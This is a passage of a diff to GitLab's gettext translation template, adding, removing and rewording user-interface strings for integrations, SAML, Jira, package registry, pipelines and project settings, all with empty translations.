+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
